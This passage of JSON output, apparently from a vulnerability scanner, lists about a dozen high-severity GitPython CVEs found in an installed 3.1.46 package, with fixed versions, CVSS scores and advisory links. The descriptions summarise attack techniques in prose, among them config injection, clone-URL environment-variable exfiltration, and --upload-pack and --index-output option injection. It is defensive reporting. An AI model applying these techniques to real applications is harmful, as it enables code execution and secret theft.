3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \\n becomes \\n\\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.", "Severity": "HIGH", "CweIDs": [ "CWE-94" ], "VendorSeverity": { "ghsa": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-44244", "https://advisory.echohq.com/cve/CVE-2026-44244", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67", "https://nvd.nist.gov/vuln/detail/CVE-2026-44244", "https://ubuntu.com/security/notices/USN-8303-1", "https://www.cve.org/CVERecord?id=CVE-2026-44244" ], "PublishedDate": "2026-05-07T19:16:02.357Z", "LastModifiedDate": "2026-06-17T10:50:24.35Z" }, { "VulnerabilityID": "CVE-2026-67322", "VendorIDs": [ "GHSA-rwj8-pgh3-r573" ], "PkgName": "GitPython", "PkgPath": "venv/lib/python3.12/site-packages/gitpython-3.1.46.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.46", "UID": "660e0ddc0e796601" }, "InstalledVersion": "3.1.46", "FixedVersion": "3.1.52", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-67322", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:90bcd6e6a892c34885c6acd407c4245ba794fe0534b3c421fe26de30e4989c03", "Title": "gitpython: GitPython: Environment variable exfiltration via attacker-controlled clone URL", "Description": "GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.", "Severity": "HIGH", "CweIDs": [ "CWE-200" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-67322", "https://advisory.echohq.com/cve/CVE-2026-67322", "https://github.com/advisories/GHSA-rwj8-pgh3-r573", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2", "https://github.com/gitpython-developers/GitPython/pull/2172", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.52", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573", "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3842.yaml", "https://nvd.nist.gov/vuln/detail/CVE-2026-67322", "https://pypi.org/project/gitpython", "https://www.cve.org/CVERecord?id=CVE-2026-67322", "https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-clone-from" ], "PublishedDate": "2026-08-01T13:17:02.493Z", "LastModifiedDate": "2026-10-23T23:10:00.157Z" }, { "VulnerabilityID": "CVE-2026-67323", "VendorIDs": [ "GHSA-956x-8gvw-wg5v" ], "PkgName": "GitPython", "PkgPath": "venv/lib/python3.12/site-packages/gitpython-3.1.46.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.46", "UID": "660e0ddc0e796601" }, "InstalledVersion": "3.1.46", "FixedVersion": "3.1.51", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-67323", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:fcebb5d2fedb8bb227e2b34821716b4fccc1477cdb452b869fef5fedd7367aaf", "Title": "gitpython: GitPython: Arbitrary code execution via command injection due to unguarded Git options", "Description": "GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=\u003cpath\u003e can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.", "Severity": "HIGH", "CweIDs": [ "CWE-77" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-67323", "https://advisory.echohq.com/cve/CVE-2026-67323", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738", "https://github.com/gitpython-developers/GitPython/pull/2163", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v", "https://nvd.nist.gov/vuln/detail/CVE-2026-67323", "https://www.cve.org/CVERecord?id=CVE-2026-67323", "https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-unguarded-git-options" ], "PublishedDate": "2026-08-01T13:17:02.637Z", "LastModifiedDate": "2026-10-23T23:10:00.157Z" }, { "VulnerabilityID": "CVE-2026-67325", "VendorIDs": [ "GHSA-2f96-g7mh-g2hx" ], "PkgName": "GitPython", "PkgPath": "venv/lib/python3.12/site-packages/gitpython-3.1.46.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.46", "UID": "660e0ddc0e796601" }, "InstalledVersion": "3.1.46", "FixedVersion": "3.1.51", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-67325", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:15abe7f29b2024c4991dcf3d2401d981d7d9255ec66aaec243671e2cdeefa8e1", "Title": "gitpython: GitPython: Command Injection via Git option prefix abbreviation", "Description": "GitPython before 3.1.51 contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature. Attackers can bypass the unsafe options guard by using abbreviated option names like upload_p instead of upload_pack, which git resolves to dangerous options and executes arbitrary commands.", "Severity": "HIGH", "CweIDs": [ "CWE-78" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-67325", "https://advisory.echohq.com/cve/CVE-2026-67325", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285", "https://github.com/gitpython-developers/GitPython/pull/2161", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx", "https://nvd.nist.gov/vuln/detail/CVE-2026-67325", "https://www.cve.org/CVERecord?id=CVE-2026-67325", "https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-option-prefix-abbreviation" ], "PublishedDate": "2026-08-01T13:17:02.923Z", "LastModifiedDate": "2026-10-23T23:10:00.157Z" }, { "VulnerabilityID": "CVE-2026-69097", "VendorIDs": [ "GHSA-3rp5-jjmw-4wv2" ], "PkgName": "GitPython", "PkgPath": "venv/lib/python3.12/site-packages/gitpython-3.1.46.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.46", "UID": "660e0ddc0e796601" }, "InstalledVersion": "3.1.46", "FixedVersion": "3.1.53", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-69097", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:a441891925a6d1bdb049dade989f2131b2e2f162406c4f2ce9204d57486073e3", "Title": "gitpython: GitPython: Remote Code Execution via Config Injection in Submodule Names", "Description": "GitPython before 3.1.53 fails to properly escape section names in git config files, allowing attackers to inject arbitrary configuration directives through malicious submodule names. Attackers can inject core.sshCommand or other dangerous config keys into the victim's .git/config via create_submodule or clone_from operations, achieving remote code execution when git performs ssh operations.", "Severity": "HIGH", "CweIDs": [ "CWE-74" ], "VendorSeverity": { "ghsa": 3, "nvd": 3, "redhat": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.3 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-69097", "https://advisory.echohq.com/cve/GHSA-3rp5-jjmw-4wv2", "https://github.com/advisories/GHSA-3rp5-jjmw-4wv2", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/1ed1b924f4e2d2ee7bab296df77b978af21853f1", "https://github.com/gitpython-developers/GitPython/pull/2176", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.53", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3rp5-jjmw-4wv2", "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3981.yaml", "https://nvd.nist.gov/vuln/detail/CVE-2026-69097", "https://www.cve.org/CVERecord?id=CVE-2026-69097", "https://www.vulncheck.com/advisories/gitpython-before-config-injection-via-submodule-names" ], "PublishedDate": "2026-08-03T14:16:30.677Z", "LastModifiedDate": "2026-10-23T21:10:00.157Z" }, { "VulnerabilityID": "CVE-2026-76218", "VendorIDs": [ "GHSA-9rj7-rf2p-w77r" ], "PkgName": "GitPython", "PkgPath": "venv/lib/python3.12/site-packages/gitpython-3.1.46.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.46", "UID": "660e0ddc0e796601" }, "InstalledVersion": "3.1.46", "FixedVersion": "3.1.58", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76218", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:2c0b0bb715a80efbf788fccb699cd68adc376794667001b082f8569c5e2a2a27", "Title": "gitpython: GitPython: Remote Code Execution via malicious Git hooks", "Description": "GitPython before 3.1.58 contains a remote code execution vulnerability in Repo.init that forwards unsafe git options without validation. Attackers can supply a template parameter pointing to a directory with malicious git hooks that execute arbitrary code when git operations are performed on the initialized repository.", "Severity": "HIGH", "CweIDs": [ "CWE-88" ], "VendorSeverity": { "ghsa": 3, "nvd": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-76218", "https://advisory.echohq.com/cve/CVE-2026-76218", "https://github.com/advisories/GHSA-9rj7-rf2p-w77r", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/d9ddb55bdc66", "https://github.com/gitpython-developers/GitPython/pull/2204", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-9rj7-rf2p-w77r", "https://nvd.nist.gov/vuln/detail/CVE-2026-76218", "https://www.cve.org/CVERecord?id=CVE-2026-76218", "https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-repo-init" ], "PublishedDate": "2026-08-19T14:17:48.04Z", "LastModifiedDate": "2026-09-03T15:03:14.043Z" }, { "VulnerabilityID": "CVE-2026-76219", "VendorIDs": [ "GHSA-4gmw-gg2m-w46p" ], "PkgName": "GitPython", "PkgPath": "venv/lib/python3.12/site-packages/gitpython-3.1.46.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.46", "UID": "660e0ddc0e796601" }, "InstalledVersion": "3.1.46", "FixedVersion": "3.1.58", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76219", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:273c1de74f1f57df771ea7c06a85ecf2e206eca99ba35717487111447d0c4452", "Title": "gitpython: GitPython: Arbitrary File Overwrite via `git read-tree` option injection", "Description": "GitPython versions before 3.1.58 contain an arbitrary file overwrite vulnerability in IndexFile.from_tree, IndexFile.reset, and IndexFile.merge_tree methods that append caller-influenced treeish strings to git read-tree without option validation or argument separation. Attackers can inject the --index-output option to overwrite arbitrary files with a valid git-index blob, destroying existing file content at attacker-controlled writable paths.", "Severity": "HIGH", "CweIDs": [ "CWE-88" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "V3Score": 8.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-76219", "https://advisory.echohq.com/cve/CVE-2026-76219", "https://github.com/advisories/GHSA-4gmw-gg2m-w46p", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/9b5dcaf85da5946dbf69dcd53f9edba08f760b32", "https://github.com/gitpython-developers/GitPython/pull/2204", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-4gmw-gg2m-w46p", "https://nvd.nist.gov/vuln/detail/CVE-2026-76219", "https://www.cve.org/CVERecord?id=CVE-2026-76219", "https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-via-read-tree" ], "PublishedDate": "2026-08-19T14:17:48.187Z", "LastModifiedDate": "2026-09-03T15:03:51.95Z" }, { "VulnerabilityID": "CVE-2026-76220", "VendorIDs": [ "GHSA-wvpp-8hx9-p66j" ], "PkgName": "GitPython", "PkgPath": "venv/lib/python3.12/site-packages/gitpython-3.1.46.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.46", "UID": "660e0ddc0e796601" }, "InstalledVersion": "3.1.46", "FixedVersion": "3.1.58", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76220", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:93b58abcb4ccd9cdaa6043a7c3268f7fad3e4d0662eb33951879b07677e3ab02", "Title": "gitpython: GitPython: Arbitrary command execution via crafted kwargs", "Description": "GitPython before 3.1.58 contains a command execution vulnerability in the check_unsafe_options guard that can be bypassed by combining a single-character kwarg with split_single_char_options=False. Attackers can supply a crafted kwargs dictionary to guarded methods like clone_from to emit a joined token parsed as --upload-pack, enabling arbitrary OS command execution at default allow_unsafe_options=False.", "Severity": "HIGH", "CweIDs": [ "CWE-88" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-76220", "https://advisory.echohq.com/cve/CVE-2026-76220", "https://github.com/advisories/GHSA-wvpp-8hx9-p66j", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/96a888f4d782cb2f80452148e48e60ce4af6d541", "https://github.com/gitpython-developers/GitPython/pull/2204", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-wvpp-8hx9-p66j", "https://nvd.nist.gov/vuln/detail/CVE-2026-76220", "https://www.cve.org/CVERecord?id=CVE-2026-76220", "https://www.vulncheck.com/advisories/gitpython-before-command-execution-via-split-single-char-options" ], "PublishedDate": "2026-08-19T14:17:48.323Z", "LastModifiedDate": "2026-09-03T15:04:15.237Z" }, { "VulnerabilityID": "CVE-2026-76222", "VendorIDs": [ "GHSA-hmq2-w58f-27jc" ], "PkgName": "GitPython", "PkgPath": "venv/lib/python3.12/site-packages/gitpython-3.1.46.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.46", "UID": "660e0ddc0e796601" }, "InstalledVersion": "3.1.46", "FixedVersion": "3.1.58", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76222", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:24bc233b51bcf0579cd73decfe0328a23edd89f9cdec9feef2dbaa42b7f7919c", "Title": "gitpython: GitPython: Arbitrary file creation via path traversal in .gitmodules submodule names", "Description": "GitPython before 3.1.58 fails to validate submodule names from .gitmodules files, allowing attackers to create Git repositories at arbitrary filesystem paths outside the intended clone directory. Attackers can craft malicious repositories with traversal sequences in submodule names that GitPython processes during submodule initialization, creating attacker-controlled Git repositories at escaped filesystem locations.", "Severity": "HIGH", "CweIDs": [ "CWE-22" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L", "V3Score": 8.2 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-76222", "https://advisory.echohq.com/cve/CVE-2026-76222", "https://github.com/advisories/GHSA-hmq2-w58f-27jc", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/4299c990e1ca21896f9485277caf7bb0ae5b404c", "https://github.com/gitpython-developers/GitPython/commit/e4b8e7d026ca6abb4cf604f8e77093432ce23c06", "https://github.com/gitpython-developers/GitPython/pull/2202", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hmq2-w58f-27jc", "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3784.yaml", "https://nvd.nist.gov/vuln/detail/CVE-2026-76222", "https://www.cve.org/CVERecord?id=CVE-2026-76222", "https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-gitmodules-submodule-name" ], "PublishedDate": "2026-08-19T14:17:48.603Z", "LastModifiedDate": "2026-09-02T19:37:05.047Z" }, { "VulnerabilityID": "CVE-2026-78675", "VendorIDs": [ "GHSA-7833-fr7j-v32q" ], "PkgName": "GitPython", "PkgPath": "venv/lib/python3.12/site-packages/gitpython-3.1.46.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.46", "UID": "660e0ddc0e796601" }, "InstalledVersion": "3.1.46", "FixedVersion": "3.1.59", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78675", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:954b6e168a9a68cf48e68eb988296b9bc28e32c13fc400b2168aed6ec1b25a95", "Title": "GitPython: GitPython: Local file content disclosure via malicious .gitmodules", "Description": "GitPython before 3.1.59 fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives. Attackers can craft a malicious .gitmodules file with include directives pointing to sensitive files; when repo.submodules is accessed, GitConfigParser raises MissingSectionHeaderError embedding the target file's first line verbatim in the exception message.", "Severity": "HIGH", "CweIDs": [ "CWE-73" ], "VendorSeverity": { "ghsa": 3, "nvd": 3, "redhat": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V40Vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V3Score": 8.4, "V40Score": 8.6 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-78675", "https://advisory.echohq.com/cve/CVE-2026-78675", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/ef7568e3b317ce617eacda39b8b54dcdff8c3b5c", "https://github.com/gitpython-developers/GitPython/pull/2211", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7833-fr7j-v32q", "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3785.yaml", "https://nvd.nist.gov/vuln/detail/CVE-2026-78675", "https://www.cve.org/CVERecord?id=CVE-2026-78675", "https://www.vulncheck.com/advisories/gitpython-before-local-file-content-disclosure-via-gitmodules" ], "PublishedDate": "2026-08-25T02:16:51.887Z", "LastModifiedDate": "2026-10-12T15:10:00.207Z" }, { "VulnerabilityID": "CVE-2026-78677", "VendorIDs": [ "GHSA-8mcc-hrx5-hvxc" ], "PkgName": "GitPython", "PkgPath": "venv/lib/python3.12/site-packages/gitpython-3.1.46.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.46", "UID": "660e0ddc0e796601" }, "InstalledVersion": "3.1.46", "FixedVersion": "3.1.59", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78677", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:b48e67146a6501d6e32fe066454dd76c80e6c7e0021af058d08fa6cab7697a1a", "Title": "GitPython: GitPython: Arbitrary Code Execution via Path Traversal", "Description": "GitPython before 3.1.59 omits --separate-git-dir from unsafe_git_clone_options, allowing attackers to create arbitrary git directories outside the intended clone destination. Attackers can pass a separate_git_dir parameter to Repo.clone_from() or Repo.clone() to redirect repository metadata to an attacker-controlled filesystem path, enabling arbitrary directory creation and potential hook execution.", "Severity": "HIGH", "CweIDs": [ "CWE-22" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "V3Score": 7.5, "V40Score": 8.7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-78677", "https://advisory.echohq.com/cve/CVE-2026-78677", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/b68afff45af0f49e79a3e2d2162018986b37ad5d", "https://github.com/gitpython-developers/GitPython/pull/2210", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc", "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3787.yaml", "https://nvd.nist.gov/vuln/detail/CVE-2026-78677", "https://www.cve.org/CVERecord?id=CVE-2026-78677", "https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-separate-git-dir" ], "PublishedDate": "2026-08-25T02:16:52.173Z", "LastModifiedDate": "2026-10-12T15:10:00.207Z" }, { "VulnerabilityID": "CVE-2026-87817", "VendorIDs": [ "GHSA-239g-whfq-7xj9" ], "PkgName": "GitPython", "PkgPath": "venv/lib/python3.12/site-packages/gitpython-3.1.46.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.46", "UID": "660e0ddc0e796601" }, "InstalledVersion": "3.1.46", "FixedVersion": "3.1.60", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-87817", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:c124190728ab64d977f80816bb93ddeabd034db4fff5fae69ee43cfcb481d55f", "Title": "GitPython: GitPython: Remote Code Execution via Git directory impersonation", "Description": "GitPython before 3.1.60 fails to properly validate the git directory location, allowing attackers to impersonate the git directory using tracked files like gitdir, commondir, and HEAD. Attackers can execute arbitrary code by placing a malicious pre-commit hook in the tracked hooks directory that executes when a victim calls index.commit() on a cloned or opened repository.", "Severity": "HIGH", "CweIDs": [ "CWE-94" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-87817", "https://advisory.echohq.com/cve/CVE-2026-87817", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/c7cf4d13b1ed0a2e70f2a1f3c6b4fc6c2652cf0b", "https://github.com/gitpython-developers/GitPython/pull/2218", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.60", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-239g-whfq-7xj9", "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3982.yaml", "https://nvd.nist.gov/vuln/detail/CVE-2026-87817", 